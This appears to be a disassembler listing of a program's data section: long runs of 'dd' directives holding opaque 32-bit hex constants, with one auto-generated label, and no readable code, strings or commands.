dd 2F202090h, 0A3941C6Ch, 875030CDh, 0BE75024Dh, 50D62300h dd 79E0604Ah, 2FF50038h, 0B62C9CA3h, 70C04968h, 1DC1D2D6h dd 7CB20346h, 0B1B84DFCh, 0D810C92Ch, 9AC7DB01h, 1F7B14F3h dd 0D8FC123Ch, 0EC38836Ch, 0F444CE34h, 0F038548h, 0D9C1A3D8h dd 2C4F6F59h, 0B5A04F9h, 83C74CF8h, 0E96A56FCh, 78469C18h dd 40F7F459h, 8F094E7Ch, 0D131144Bh, 187C791Ch, 0B8EB1228h dd 0EA8C0504h, 340F477h, 0FC23115Eh, 0B2F94A56h, 300EF2D4h dd 720F5945h, 83A0B63Ch, 4B79AEFCh, 23F82F68h, 2CD7002Dh dd 83622646h, 0E46B7302h, 57F21745h, 0ACCB0804h, 0C68582C0h dd 8840A3Fh, 0CE0216A0h, 5E503D4Eh, 195D42F8h, 3CCBE205h dd 0C8C012C8h, 0B77FD626h, 8A47D88h, 6B421A0Eh, 828E1975h dd 84A64791h, 267C5416h, 30ED0CC8h, 31436130h, 2012A622h dd 0F0801CCCh, 44D8956Eh, 8A1FBB59h, 5C0951AEh, 3F0CC862h dd 475900FBh, 24864A54h, 8DE8275Eh, 950DBE40h, 9757EC62h dd 801291FCh, 864DDB8Ch, 0AD932688h, 27590084h, 854CFF0h dd 4A74C6B5h, 23D42FDCh, 0EFCF0001h, 5C90CD47h, 74E2805Ah dd 62E67C00h, 38E1E742h, 0EDD9DF04h, 0E253F64Dh, 20C10758h dd 0D410E335h, 26501D5Dh, 8B8A526h, 88B2494h, 12CFA4Ah dd 0E943BD64h, 35A7D6CEh, 0AC126EB4h, 0DA00B4B8h, 0D8255016h dd 4C601948h, 8F0CC239h, 20BD1388h, 98E0D093h, 5805D830h dd 425C8222h, 11030AFh, 7A4137ECh, 57B30820h, 0D7B0C46Fh dd 4603F2F3h, 8AA3C16h, 1997073h, 0CED456E0h, 0F0D50528h dd 0A70517EAh, 3F14AEF6h, 0BF0008ADh, 0F840B20Dh, 0C195189Eh dd 3A2BB150h, 67237Ch, 0E159F4C8h, 0AD1218FFh, 0A8AD2AE0h dd 8D84726h, 91021E3Bh, 0C9B096F6h, 98304884h, 61024052h dd 18B41E5Ah, 3DB102B5h, 84481592h, 10B9A466h, 8C182979h dd 78307502h, 8A726B55h, 830944A1h, 5C8809CFh, 7BC8A080h dd 128F12E9h, 0A4C0120Bh, 281847BCh, 0D929BE9Ch, 5BCB7FA0h dd 0E9280527h, 0E230C2DDh, 0F585C5Bh, 0EC50C4DDh, 82480008h dd 95313C9Ch, 46B9249Dh, 72B96500h, 47BDD7B7h, 1716093Ah dd 80A40B5Fh, 0C93B4492h, 0A62A4003h, 7CB830A0h, 7CEA2E99h dd 0B9024D8h, 0C47B0CBh, 3F6011C4h, 0EF001CAEh, 389A260Bh dd 609C1F4Dh, 0E4A68191h, 48B77F4Eh, 800BB1A0h, 21251435h dd 184BD20h, 0BFF899E9h, 0A9E480A6h, 0A5BDA003h, 16D913C0h dd 0E9A4D7A8h, 0F840687Ch, 3ADB08h, 1D827D78h, 511F366Eh dd 0E01E2E03h, 0E02197D4h, 25C0DB52h, 0CD9A0A9h, 10084812h dd 62610976h, 0D46ADCA0h, 5F822B64h, 0A0DBDC10h, 1C3CBB12h dd 0E29D2049h, 0F41C56C0h, 63F80D02h, 103040C6h, 49389144h dd 0A4B400A6h, 71DFE185h, 9E6E841h, 9A907EEh, 2F8244EBh dd 0F0AC7801h, 8854137Ah, 0B9C2C28Ch, 5437E401h, 80BA25E8h dd 64B557h, 62AF5216h, 35157850h, 1FC87207h, 0ABC756C5h dd 9F03A7C0h, 6D46C061h, 6C1F0AD7h, 25CF508h, 4E389B5Ah dd 6E692841h, 2A23243Eh, 9D23231h, 0E738566Bh, 0AC3A44Ch dd 0F61FC0A9h, 3444058Ah, 0E4AD4EF8h, 9B88455Ch, 0C05264F6h dd 0C510A4Ch, 4A893143h, 7888811h, 0B76CE400h, 55AF5E59h dd 51F0D8h, 0F6F50D2h, 4F77A0D1h, 0FE00F774h, 0DA887942h dd 0B1FAB0Ah, 2BD3782h, 0D007107Bh, 8E00515Ch, 162277E8h dd 0C008AD76h, 0F6E7D810h, 485F6F24h, 294674h, 0FF96928Fh dd 9859B70h, 0F82244FAh, 0DA83745Ch, 0F9E0841h, 30851889h dd 489A78B9h, 0A888D788h, 7F1A25F4h, 570C5851h, 7134919h dd 0AF568984h, 7E30B0D5h, 0F107ED9Dh, 0B70A742Dh, 256BC9E1h dd 8513B079h, 0E2A4A363h, 82733001h, 89DB8705h, 0B8F22FF0h dd 7FA77139h, 340E446h, 0CC9B5F1Fh, 932F6F34h, 9EACC8BBh dd 9C20F866h, 65465EF8h, 205D450h, 6DDCEA0Bh, 0C9E09B58h dd 0CE0B95C2h, 0E856C14Eh, 4019CCC0h, 3A3D8928h, 0A9C78009h dd 0E199A5A6h, 7623008Ah, 832970B9h, 8C5B0CAh, 0E4CDFAC5h dd 4D3BFDCh, 0A67A9BDAh, 3BA0E8A1h, 86C796B3h, 94E0E4B6h dd 73E284BFh, 949805E3h, 43AFEC21h, 3CF6977Eh, 8653AFA0h dd 6E0A8100h, 5BD06FB1h, 5C9AE8DFh, 0BF15D0D2h, 0F0A82CE3h dd 482AE501h, 0A5366CB3h, 178FC42h, 8B078483h, 91CCA8C1h dd 6B6AE270h, 2B5A004Ch, 0C94C69E9h, 58DB1835h, 8ACA2108h dd 9E105B0Fh, 63D080D9h, 7E83BDB8h, 44B890E5h, 0D1008907h dd 60B77E12h, 20B51E91h, 20123A58h, 54E864ACh, 6D40084Ah dd 97852C7h, 64212F40h, 709A7D60h, 1EC22431h, 4053A17Ah dd 36640B8h, 0B64264F8h, 600E4E1Ch, 9324F3A0h, 409FD4B9h dd 661945E3h, 0DC3FED47h, 835F01B4h, 65178D10h, 47D02201h dd 638CD160h, 0FCA85013h, 0F0B40C62h, 163A4090h, 0B264605Bh dd 34008C09h, 44A92297h, 155B094h, 0B6D1C13Fh, 880CA61Dh dd 664FAFF0h, 0BD0349EAh, 263987F5h, 0C70982CBh, 6068C408h dd 0D215617h, 39360FABh, 87196C8h, 0D53E090h, 24BA0089h dd 65668454h, 737D5B22h, 7BD30201h, 0E10AD69Fh, 542C2075h dd 8C14ECh, 30792C2Dh, 0E86B800Dh, 1171C705h, 0D0213CD4h dd 0F47328B8h, 0A83015E2h, 50472EA4h, 5E121184h, 0DF3B4490h dd 0FBA9001Bh, 1CCDFD66h, 0F4B30E9h, 84A80C20h, 6408BFF6h dd 9A22400Ch, 0CB259154h, 4250E16Ch, 72F0C82Ah, 52C4D427h dd 0F8B510D8h, 6F401745h, 84482880h, 5811613Eh, 0F9CC78EFh dd 13043D1Ch, 94322BCDh dd 0E49F5594h, 0EE831711h, 0AFFC9C5Fh, 60BA8834h, 1EA8E66Ch dd 0BF08D900h, 9FF09CCCh, 2A899A5h, 55CD495Bh, 465E4C74h dd 8E610164h, 95128DF7h, 0BF47130h, 43ED10AAh, 0C01C1058h dd 1A4BF0A5h, 6054DC0Ah, 80C2F450h, 44704497h, 0A031C78h dd 1D36EB5Ch, 81169877h, 3C68F19Ch, 17A5B101h, 3BE8D392h dd 88343C13h, 209BE081h, 3839EC49h, 9FE48106h, 5E1F911Fh dd 6465D0FAh, 0F03A44D4h, 58A39209h, 614CA101h, 3B6E40B2h dd 50D2318h, 474F295h, 145D98CCh, 13A81AECh, 0DCBC5460h dd 13AD4713h, 0EA72C0CCh, 0F116891Fh, 0F631844Dh, 30BE585Ah dd 0A7D783F4h, 0ED2C4B00h, 94D63F7Fh, 0D55A30F3h, 0C39EF490h dd 0EFA8B767h, 0AB8B6E70h, 39B20F45h, 0C8A1E11Eh, 0FC478C60h dd 0E69DBE4Fh, 3AAB0544h, 0B8349EF6h, 0E86A1418h, 88B4D0CCh dd 880A492h, 0DB801643h, 0FCAB2607h, 0CBE8AE02h, 4D08B38h dd 40803C79h, 0F3024ADBh, 0F54D05C8h, 30A2A615h, 0CC919D2Dh dd 3FD46C32h, 11C8B370h, 4BF7F18Ch, 40DC3F00h, 78DB9213h dd 86F6AC80h, 2464F598h, 476B063Ch, 817EEF9Dh, 9C05B8B1h dd 8CB75509h, 8DACC84Ah, 4F06D0EFh, 0EC8F20A5h, 20765102h dd 94F81FFBh, 334B259h, 73FEE73Bh, 54F01610h, 16F8D23Fh dd 79AEC082h, 0F4964218h, 0CB92805Eh, 8E8968BCh, 86101061h dd 1F5BEAB7h, 2F182B11h, 38A130A0h, 82079383h, 853E5430h dd 594DBCF0h, 0FF013CFAh, 376E4081h, 807F0841h, 0D9BABBE1h dd 0DE6052h, 2170EB9Eh, 66B0D520h, 85862913h, 0EE000CB2h dd 33833C11h, 0DA003A6Fh, 1C4A64Dh, 56F16Ah, 0CF7A670Bh dd 488C27D0h, 0A5E03C18h, 5D3220h, 29925A1Eh, 0A67863CFh dd 57DF5F1Dh, 0E2DC8D04h, 60038EDh, 623B774Eh, 28030FCEh dd 1AD4478Ah, 5FC7F0F9h, 0F68F0026h, 0EF90A5D0h, 28739241h dd 0C73CDA25h, 611544BCh, 82FBFD9h, 29051680h, 88A2CD83h dd 1594D700h, 0BCF17BFBh, 160157F8h, 0B6F8C389h, 0D1155DE4h dd 9658FFD0h, 0CCA83F3Ah, 248480AEh, 67904968h, 188C083Bh dd 85C1708h, 0D408EA10h, 0F0408CCh, 89D3508h, 57082BCAh dd 3F4808C4h, 8CEBB08h, 5618E80Eh, 80CFE329h, 0AA807E58h dd 0CB980E7h, 8086D980h, 4280364Ch, 33B480C1h, 80F96180h dd 3280F22Dh, 88AB8118h, 89C52B9h, 0B50823CDh, 0FD21086Ch dd 8E1CB08h, 0FA188BC4h, 801C3209h, 95808026h, 401E806Ah dd 805AFF80h, 598094DFh, 62E780DDh, 8072F980h, 3B80202Ch dd 0D23E802Ah, 80340B80h, 0A98088A7h, 7823807Fh, 9C51AC81h dd 6201CD42h, 565010Dh, 30E1001h, 0DE813212h, 94A2C929h dd 0EB021AE0h, 44C0051Dh, 4E487ECh, 160AC7E1h, 0C8F288B0h dd 0F1347124h, 0DB8F8444h, 0C21C504h, 40DD316Dh, 7540F02Eh dd 119B45B8h, 17AEFDCh, 0B901F806h, 40E01CAh, 2FC1501h dd 4EC0A2E4h, 7CEE0202h, 27EB702h, 89022B0Bh, 0D04D026Bh dd 2F1E702h, 3D02983Fh, 5F9D0559h, 0DD51F2FCh, 0D995BCA2h dd 28A1002h, 1C05ECC6h, 8334008h, 231881C9h, 80CF4439h dd 9980E3FBh, 889B815Bh, 8637DF1h, 930C87FDh, 8180E1DCh dd 3E02E6E6h, 0D6220235h, 206C7303h, 43207D89h, 0C3E82074h dd 209DC820h, 0B42022DEh, 99BF209Eh, 2017CF20h, 4820207Ah dd 0CC3B5413h, 9D90A8ABh, 61118027h, 0C8032680h, 0E115F239h dd 62F10D0h, 311A1610h, 0C4AD5910h, 0A0A36A02h, 0F1201528h dd 7861202Dh, 0F909054h, 4023E640h, 1140A2DFh, 0EE7740FBh dd 0C4AA6440h, 4FC2F91h, 0BC045C57h, 0D49704E4h, 4C89A04h dd 3D048DB2h, 14A1068Eh, 0F71B40E1h, 64CE8F40h, 0A121934h dd 0DF88F8E2h, 0F4B40832h, 8CC3008h, 0E086FB9h, 295518CDh dd 9E80714Ch, 38F283EEh, 2016402h, 1B029563h, 83F000E8h dd 80B15734h, 1A8EF01h, 30748FC3h, 0F9990C48h, 610F4FBh dd 8C73C700h, 0A80B634Dh, 0F024160Ah, 4C6C20D9h, 0A2005B09h dd 0E812C10Fh, 0F9378DCh, 922C6B8Ch, 0FB804E25h, 8F70C827h dd 0D01779h, 9AC4032h, 7CF3993h, 90EDE831h, 0EECC6F20h dd 0F8A0C083h, 751F3DEFh, 0F042182Ch, 1811D08h, 0C07B15F6h dd 84432A8Bh, 165A1861h, 0A404A868h, 2D19F814h, 718997Bh dd 6A1038B2h, 0E8402643h, 4800CE14h, 2C03BA1Ch, 2FA76043h dd 44C06562h, 9CBA40F0h, 6CF0B7F8h, 61285D0Bh, 348D811h dd 0CA856F4Eh, 89F843A2h, 3B0044D9h, 0B5C06C0Bh, 7C1F12CBh dd 6F29002Ah, 0A805098Ah, 0AB3062BAh, 95BD4049h, 0CEB6053Dh dd 0AC159C0h, 780E18Dh, 83EE58A8h, 1004CFE6h, 1C4AD098h dd 0D6D540F5h, 0A70B1887h, 593B8349h, 92E6F28Fh, 848C200Fh dd 9CE5D1Bh, 826A1C45h, 2409B848h, 7DD09114h, 44A00228h dd 0E0AC0F6Bh, 0A173832Ch, 8FE2A21Ch, 0E66B81E8h, 94D03CCAh dd 0B5534F40h, 83F807ECh, 10706A7Dh, 1006583Ch, 0F7002452h dd 8B373CAEh, 42005618h, 0AC6D5863h, 0EE874F40h, 14237E5Dh dd 0ECF83C33h, 0ED39080Ah, 501E6FF4h, 80253E28h, 6E5A95C4h dd 12FB99h, 0D04C4022h, 4623797Eh, 1908C101h, 0A76B6124h dd 5D4BD89Eh, 2640B32Eh, 51A50DE1h, 8041F3A0h, 0E8396EA0h dd 1183ED7h, 6B4C9225h, 85FF3461h, 0BF604528h, 2048FC51h dd 5F4F0016h, 0D4445941h, 705FBA7h, 5CC0DD0Eh, 0FC91DC04h dd 0D5887000h, 0C500BEA2h, 60BFC178h, 3ED2C0EAh, 97890917h dd 2878C658h, 0BFC27700h, 0F85ACA55h, 71C9070h, 0ED1C1025h dd 80D3D047h, 0AD004CF9h, 8369A17Dh, 28D75D13h, 50A8BCA3h dd 13F8DC81h, 0A0F43166h, 5852C0B4h, 308730FCh, 187B25F6h dd 81DF89Bh, 0DF0AB672h, 94342D07h, 0EA8CA80h, 0FF5F64Ch dd 0D17BD090h, 842B1764h, 6B8440E9h, 0FA9967F8h, 4790A491h dd 70051B20h, 0FF996AF8h, 0E1581007h, 349A87Ch, 80D03E37h dd 6598C182h, 22343871h, 50B84E61h, 9D73450h, 48D019A0h dd 23A85411h, 0CDCA00DCh, 0E58957Bh, 1E58D286h, 4B200328h dd 44E25027h, 8207A07Eh, 89825D03h, 1DBC0809h, 4368C0BFh dd 0BD62C2A9h, 9660DD66h, 7B833778h, 0B4430h, 626CEDB8h dd 80A89C1Ah, 0EBD98B43h, 10DF7D28h, 840C8414h, 9C84484Fh dd 0D599FA80h, 182F1206h, 0B1CCE0DCh, 20B0EC6Eh, 305395A2h dd 0AB0900A8h, 0F8842DD4h, 0C0014774h, 0E751D68Dh, 1C2022C1h dd 0D408A155h, 0BE0A44DCh, 2C630008h, 9F718EE2h, 0AEEFBC00h dd 7DBDE5D7h, 0C070240Dh, 322C23h, 922A3A52h, 46653F58h dd 8C1D83D8h, 7C781C7h, 0AC008D15h, 6C1BFE87h, 124A72C8h dd 0A129583Eh, 0A7020ECh, 0D420C18h, 58B7ABA0h, 7214B008h dd 8BC7DC29h, 0AB5841DBh, 0B810048h, 4485485Dh, 0D9328980h dd 47051607h, 0DA8ABE40h, 0B208080Dh, 10FC28A3h, 0A518489Ah dd 7336014h, 0D07068CBh, 1643E05Fh, 1207A806h, 4D7E1EBh dd 0ACC07267h, 0F407924Ch, 6251BA46h, 0CC04B6FDh, 0A0300854h dd 613E80B2h, 0BDA54042h, 5CE8BF50h, 4158560Ch, 59E8984Dh dd 0A0131460h, 0CA1C0424h, 970413CBh, 0FBC07835h, 52937CF8h dd 3F008C4Ch, 0FFB623B8h, 2050E88Dh, 4E6AB7A0h, 0CA62A839h dd 42704135h, 6B9ED0h, 3AE6D740h, 0A4EF86Dh, 0CF78BA03h dd 0F10552FFh, 3830CD9Ah, 0F00890A6h, 8224B26Dh, 289464A7h dd 58A06B87h, 580A0C9Fh, 8CE98Ch, 4E37E5D6h, 0A9E07834h dd 2A80817h, 21449300h dd 7C747D0h, 80F5BF1Fh, 0E8899010h, 690418DFh, 0B0D90876h dd 28C200D4h, 4908C1A8h, 0B7910CF0h, 0D77044ACh, 0EC03584Eh dd 1EBAA361h, 0CCFE28F0h, 0D58896F3h, 5EBE409h, 0C6B3835Fh dd 3F402C02h, 90D8444Ch, 1140D4D0h, 41E08861h, 0DE1DCA7h dd 339C8BC6h, 0A0500B0Ch, 4F006C76h, 65A61C82h, 242431B0h dd 9A0004A5h, 0DC894BFCh, 3A431F90h, 21BD016h, 0DB612131h dd 97004863h, 0F7E01E29h, 0BE4B03ABh, 0A8A01798h, 0D90CFC05h dd 2065D058h, 0B1133247h, 0DCC8C7CEh, 3F034BCFh, 32625548h dd 4A5028C3h, 501F409Ch, 44456801h, 28FAF8BEh, 0F1D5D30h dd 1FACDAEEh, 0C8F9AE81h, 0D975EC45h, 0A2E85AC0h, 0EE119B89h dd 28B4B23Fh, 26813A6h, 0DA5926E8h, 0D44041CAh, 25B0519Eh dd 0DF05E0A0h, 0BCBC0E2Eh, 5D819418h, 40BA6241h, 6CDC1B40h dd 361C6C2Ch, 893AB4C0h, 1D98A39h, 0ADC06830h, 0E0DC5AE4h dd 8AB77A62h, 8F496440h, 2E001E14h, 99565AEBh, 96060003h dd 6250F6ACh, 2A540431h, 90848ED4h, 7424B708h, 172CFD08h dd 0D80005F8h, 0F31D4382h, 368A00D2h, 1C8BACAFh, 0D830586Eh dd 57DA4004h, 0E9201D99h, 0E027C13Ah, 8A019640h, 0E873B751h dd 466F42h, 0F0135A1Ch, 0F809BE2Eh, 18BCAA09h, 7D9FE8E4h dd 50CD169Eh, 98F8A048h, 2438F64Ch, 0BF0530BEh, 0D4D5C5DBh dd 994A2403h, 7F3AC01Eh, 24D92C58h, 438C133Ch, 6D7B3D54h dd 64FE5EE1h, 3A003580h, 211A4E39h, 74A29FFh, 161F8761h dd 84B370D3h, 76246D9Bh, 2D089019h, 0F0553F8Eh, 80695060h dd 7B180A4Ah, 1240422Ch, 0F44B819h, 0F36F3F25h, 9C8840C2h dd 8AB2C000h, 28CF0670h, 0F1A53A61h, 48F01A48h, 0F85884B4h dd 0F5040C8h, 0BE08415Eh, 590028AFh, 58D57B2Dh, 0A0C3DB5Bh dd 0DC20AD8Ah, 0B2C734Eh, 3B6B2578h, 0E6233481h, 46C7EBA0h dd 0C203857h, 0AF100021h, 50E7E454h, 156EBE9Bh, 3CF0B359h dd 72ABA0D1h, 9D1401FEh, 7BAA4AD0h, 655020EAh, 0AD08F64h dd 78374C0h, 0B17267A7h, 789C2946h, 1BA0D513h, 484D81ECh dd 0DFFCF977h, 0C185005Ah, 9B6FD906h, 250074F1h, 3F2E29FCh dd 3240D18Ch, 4870D8B2h, 805EC5Ch, 68D1A322h, 0D0843094h dd 0B87C40DBh, 15963E48h, 3345222h, 5440D83Bh, 17207539h dd 358EE51h, 0AA69046Fh, 0B861EFA2h, 2607E4F1h, 7A49CBFCh dd 0C0290F8Ch, 0E0968E19h, 0CD6CD3BFh, 0BDC90B0Fh, 49805643h dd 934A1842h, 208FBCB1h, 20C17255h, 7C70F978h, 214D8315h dd 886F1EF8h, 72546D84h, 0B8E4E8C0h, 48387F6Bh, 644DD4B7h dd 94085506h, 2460F0C6h, 0E3EFE928h, 0B5A70496h, 0A4EE28D2h dd 28E5B38Ch, 49495DCh, 10349440h, 28785414h, 4DA8EB30h dd 2052486Dh, 58DBE02h, 5C7C3249h, 80F29709h, 61909500h dd 16507413h, 40E06F62h, 46D0E41Ch, 0DCE073ADh, 140F1890h dd 0CF8A253Fh, 9FC7487h, 2A77D0E8h, 0B2004474h, 0FB125E25h dd 66082559h, 70882C87h, 9728B56h, 4C97DF00h, 50384232h dd 71E80905h, 0C632C20h, 9E416CB9h, 81015451h, 3771073Ah dd 545848BBh, 2646EF88h, 62611038h, 0A5BD12F7h, 53BF9402h dd 0A08C987Fh, 50587C1Eh, 0BAE6D46Ah, 7CD97CA4h, 0F5C32E1Fh dd 753880C0h, 3C71D7EBh, 0B125CE0Bh, 754822Fh, 0E445046Eh dd 12269964h, 0CD93A4DDh, 0F005404Bh, 66F09440h, 431290BAh dd 0A8454B60h, 0DC88781Fh, 1A29C103h, 90866008h, 24481D51h dd 1A354E74h, 0DC84E804h, 2C20C9FCh, 0FF9AC758h, 0CD187C4h dd 407B1161h, 0D32909FCh, 171DD873h, 13001C58h, 9E6DBDD9h dd 0E97F37BAh, 0B5888320h, 1EA7C5B7h, 4B99C098h, 58E17F85h dd 90B73628h, 98D9211Dh, 6A13B141h, 0CBECE606h, 68DF6Bh dd 8F61B23Dh, 0FCE51FA8h, 8C0013BFh, 99535A50h, 0F3B0FEh dd 7BD05F37h, 0D43E8F86h, 80EA800h, 18620301h, 5042185Bh dd 75FB18A4h, 0A61B1F00h, 44936870h, 203CB06Bh, 0FA04D0Ch dd 0B1066750h, 537C610Eh, 77E100F0h, 8587E66h, 94A0BDF0h dd 410263CFh, 0FA62BE59h, 36704867h, 0DA210222h, 0A00553BDh dd 5B4EB080h, 9012EE99h, 6E00122Eh, 0E3E4430Ch, 8A0A00A8h dd 18BDCC95h, 3030317Bh, 3A97881Ah, 9FB53061h, 5A7F4058h dd 6003C0B2h, 0CF172D08h, 7607E04Ah, 9D90D2B9h, 1AE402DCh dd 0A1B0CC29h, 4ACE0804h, 74BC00FCh, 0FF725Dh, 137907A8h dd 63D06B49h, 2701CB77h, 58E728F3h, 0D840FBA2h, 0F044AF0Fh dd 282E5878h, 0C99081A4h, 0B0882E56h, 3CEC9988h, 2CA4D524h dd 3E224A78h, 46D41B24h, 8BB4989h, 8EAF6186h, 0C8E60018h dd 0C0539828h, 6E00658Ah, 3E890631h, 7C323A51h, 68520056h dd 0C72B9912h, 0EA0001A8h, 0F8A4B3B6h, 0C0A470Fh, 0C2DE62A1h dd 303D850h, 55310ECAh, 797527h, 752BA15h, 7BA64FDAh, 0DF6158A0h dd 4209749Ch, 41F4E340h, 60331C76h, 585D0B02h, 9880A34Bh dd 126F953Dh, 0FF194D01h, 99786127h, 34689E02h, 0B8836EFDh dd 4DAACA8h, 68C749F0h, 42488174h, 8990C34Bh, 6C00D635h dd 51C00B9Eh, 2496A265h, 0F24DE80h, 38A1BFEDh, 0CC467970h dd 5561CD58h, 44E2DB90h, 0F040AC53h, 0DF836862h, 65DA0B10h dd 0C0F46480h, 8C005824h, 0A436D20h, 0FD48AA4h, 653663A2h dd 0B83740FFh, 348921A7h, 0E3C7AA01h, 8A8DBFCEh, 10E05820h dd 145BFE62h, 4CE85CA0h, 723C52A4h, 7891054Bh, 0C40F64Ah dd 2D435818h, 7CC06E08h, 4F62B63Dh, 3663EC0h, 8CC93F39h dd 0C162D23Ah, 5066B409h, 624249C1h, 7824A659h, 1BC60B02h dd 94809620h, 9455F92h, 280CFAF8h, 183D6C34h, 7C8402D5h dd 0E9F640E5h, 60E370C3h, 7298DAA0h, 9AE7B601h, 9B0780D7h dd 80C6C28h, 257076C3h, 48B2E05Fh, 0E904013h, 2CE007A4h dd 7B4C70EDh, 1ED71A16h, 0B3885002h, 0EC66C6h, 810B5EF2h dd 4778184Dh, 61CE980Eh, 0F042491Ch, 71F66238h, 22092055h dd 9090C0FCh, 72408B80h, 5D61183Ch, 9307F9B0h, 9A54E403h dd 0FFF17258h, 84BFDAC0h, 0B96828DFh, 354B0488h, 0C1C5AA3Ah dd 0F1C611A8h, 0FD6BF0B3h, 0C8567303h, 0F041040h, 0A35869D8h dd 0EB84898h, 5C2618FEh, 38259031h, 40E86108h, 4E031B72h dd 0F97F3413h, 0C240A14Bh, 6F2C874h, 76608E29h, 710FF870h dd 2CB14F3Ah, 319901Ch, 2F91C645h, 0E998585Ah, 0DE03890Ah dd 4726322Ah, 57F09050h, 0DB90A298h, 92B42028h, 0AC402728h dd 0AC64D4C2h, 273EB89Ch, 0AFC0A1BFh, 0E86C6562h, 0D0FA2800h dd 223D2E48h, 49E43958h, 908C248h, 354200BAh, 5818937Bh dd 0AAF965D5h, 4CA8B00Ch, 8100B49Bh, 0B83F5D63h, 0CF066D52h dd 2E9840DFh, 826A1D48h, 36FC49B6h, 0B125C80h, 68984FB7h dd 1078102h, 712F217Ah, 0DF00BC74h, 0AC29633Bh, 50128A0h dd 0E989716Dh, 682C1540h, 76996F01h, 0F4EBE2A8h, 0CF00EADDh dd 8AB1527Fh, 0E74D401Dh, 586E8082h, 0E889A994h, 0EC6028C2h dd 0EF805591h, 25347074h, 9C22400Dh, 3E01B9F0h, 0F0D7F6B3h dd 0BD6E4DDh, 3FEC100Ch, 0C957AC00h, 0E778D170h, 5045780Bh dd 0BF8607Ch, 6FC606D9h, 50669058h, 0B6CE1120h, 0E361011Ch dd 400DCA62h, 3B0A99A0h, 7E443A01h, 982D7FD0h, 0D88BE4D5h dd 0BF8CD4DBh, 35012C18h, 0E1957D3h, 9AD1E821h, 0E858F073h dd 0C66D38Bh, 0DF85290Ah, 2A1480D4h, 0E08903E4h, 0BA525928h dd 28C8D6B7h dword_4E204C dd 0E632678h, 0CED79C3Ch, 7853A8Dh, 0CA844C74h, 4B3308B8h dd 0D96CC9CCh, 0B040695Ah, 0BFD81F6h, 52204A16h, 6761B0A1h dd 18A18023h, 53E4D526h, 0BBE64Eh, 348ABC09h, 72AC7C6Fh dd 0A50827h, 3E813AF0h, 0F823FFBFh, 0D43C3616h, 2FA4F5A0h dd 4250D046h, 57D11371h, 40B8606Dh, 0E0C0EF2Eh, 6962B648h dd 12A8B260h, 45D1A3h, 207C8762h, 3D1E728Dh, 0B684A9BAh dd 88F0CA40h, 7A581297h, 0CBB45C70h, 0CC043F93h, 20CC127Bh dd 2B5F2858h, 3E5A00B0h, 18B08770h, 61137ED6h, 54407526h dd 76D982FFh, 2849FC7Ch, 19080799h, 0F161FB58h, 0BEA608DEh dd 1DC0858h, 0B8ABE01h, 39F0756Ah, 0FA78C963h, 0D21C0475h dd 2628C7C3h, 0BE9C9328h, 49EF5F00h, 0D5C95DF7h, 0B4585C13h dd 0BF3A2C91h, 8B196433h, 432D78DAh, 0C88D8CF4h, 300710A8h dd 3828C4DCh, 8036285h, 16022F40h, 0BC0A70h, 9FD147E0h dd 0D8300878h, 481740DFh, 1E8A90BEh, 1EE91BC5h, 0A0F0CA80h dd 543217B0h, 0D6065884h, 18EEB740h, 28EA57EAh, 0E33058ECh dd 5B2A07Fh, 0D8451F53h, 89258078h, 9BC32432h, 0A5404E09h dd 34C864D4h, 0C181A908h, 2528114h, 0F744604Ch, 6DA3D16h dd 839C24A6h, 1CE70846h, 3DF63013h, 4BD9B070h, 50109698h dd 0CF493F61h, 60031434h, 8DBD0B84h, 2C50060Bh, 586C0A10h dd 83D09277h, 892613A0h, 917504F0h, 54C06600h, 36511B11h dd 9BCB2661h, 0F2BCBCh, 4138ECD9h, 2FFBA846h, 97352800h dd 0E11D678Fh, 0F8DA12A9h, 0E8E400FAh, 0D90E4E1Fh, 0FC00A1Dh dd 41588239h, 85D2F231h, 1C909BA8h, 80218B99h, 82601A58h dd 26D48998h, 7E5C2E28h, 0AE2C8180h, 56D178h, 552AF2Dh dd 73F82EDh, 2104D262h, 0B32014CEh, 0D794128Fh, 6AC0058h dd 82D6247Bh, 0AB07E80Dh, 61E62029h, 0B80667BCh, 38894903h dd 0E992DD7Ch, 0C6CA5308h, 846C11FCh, 3209030Bh, 9A7807h dd 0B5DB8610h, 33496B38h, 64903D00h, 8B6C01Eh, 222900A4h dd 7F992A89h, 500907BEh, 200362A5h, 39112EC4h, 0ACC89D4Eh dd 0F8243380h, 8B080478h, 79F7010Ch, 2B8AB942h, 81404C00h dd 406907C8h, 6305D03Eh, 0EFB1B44Fh, 0B0AB28C3h, 5F8AABCh dd 3E08425Ah, 88ECD007h, 0D3FCA8C1h, 560C59F8h, 788A9662h dd 0E4081A45h, 305628F0h, 7820F42Ch, 5EECE64Dh, 7E02050h dd 93C03F70h, 240C2E80h, 2EBF7C0Ah, 1C4A8E1h, 515926F7h dd 4558FD14h, 4D54B0DCh, 0C7B49905h, 0DC1F6750h, 9A1C6E40h dd 151C01Fh, 3CABBEEFh, 80B2E061h, 243BF98h, 0B891A226h dd 0F9990348h, 0B67DCF1Fh, 8081E0B9h, 5C2D4D58h, 24E8CDE5h dd 6C4C1Bh, 8AC5E1DCh, 0CA548107h, 11954B94h, 340DFE88h dd 26406728h, 40E01D24h, 3C0D206Bh, 0F8B3834Bh, 520E943Ch dd 0E0C2AD85h, 10C2360Ah, 78500809h, 1813245Ah, 844D6C8Ah dd 1109D70Bh, 58137444h, 0D800371Ch, 0CD5232B1h, 9F402D86h dd 4BA6F880h, 6D0D4E2Ch, 380FDA58h, 7C75C861h, 51129087h dd 0E76131F7h, 1AE18123h, 22E1C425h, 8198FC20h, 0CCD0D9E6h dd 9A1ED129h, 0D5CAD928h, 4D8A3408h, 0DD12CC6Dh, 0AF6FA823h dd 0EA6C5FB0h, 65E13E23h, 4871A784h, 0EB8CC055h, 7A266125h dd 0C38840D1h, 50950052h, 243D7BE4h, 2A8C0F55h, 20404C28h dd 5F9843E6h, 0E8B01482h, 0E5315861h, 4DD13057h, 4D706570h dd 3E1E18FAh, 7685CA48h, 0A6F20084h, 41611B43h, 428C340h dd 3B492406h, 44B4803Ch, 277CA491h, 90C5CB8h, 791E3122h dd 90C13758h, 43411358h, 0E1A8CDF0h, 0EA3B440Fh, 1D80C7B3h dd 84085202h, 0C0A576D0h, 1A7CD8h, 7FE6D70Ah, 2844B2D4h dd 0A8F04600h, 0E110A405h, 0A1505AB3h, 0CDCC24D0h, 549941C0h dd 989B9CE4h, 90F52048h, 0AAA84E04h, 0C8E2DE8Ah, 16208677h dd 631C9E97h, 45BD0958h, 81A6BFF4h, 259F838h, 0AC045726h dd 7E4CBC50h, 0C8D5B626h, 23ECC525h, 749E09D0h, 0C1301C50h dd 0F796204Ah, 0B9501367h, 0D1891360h, 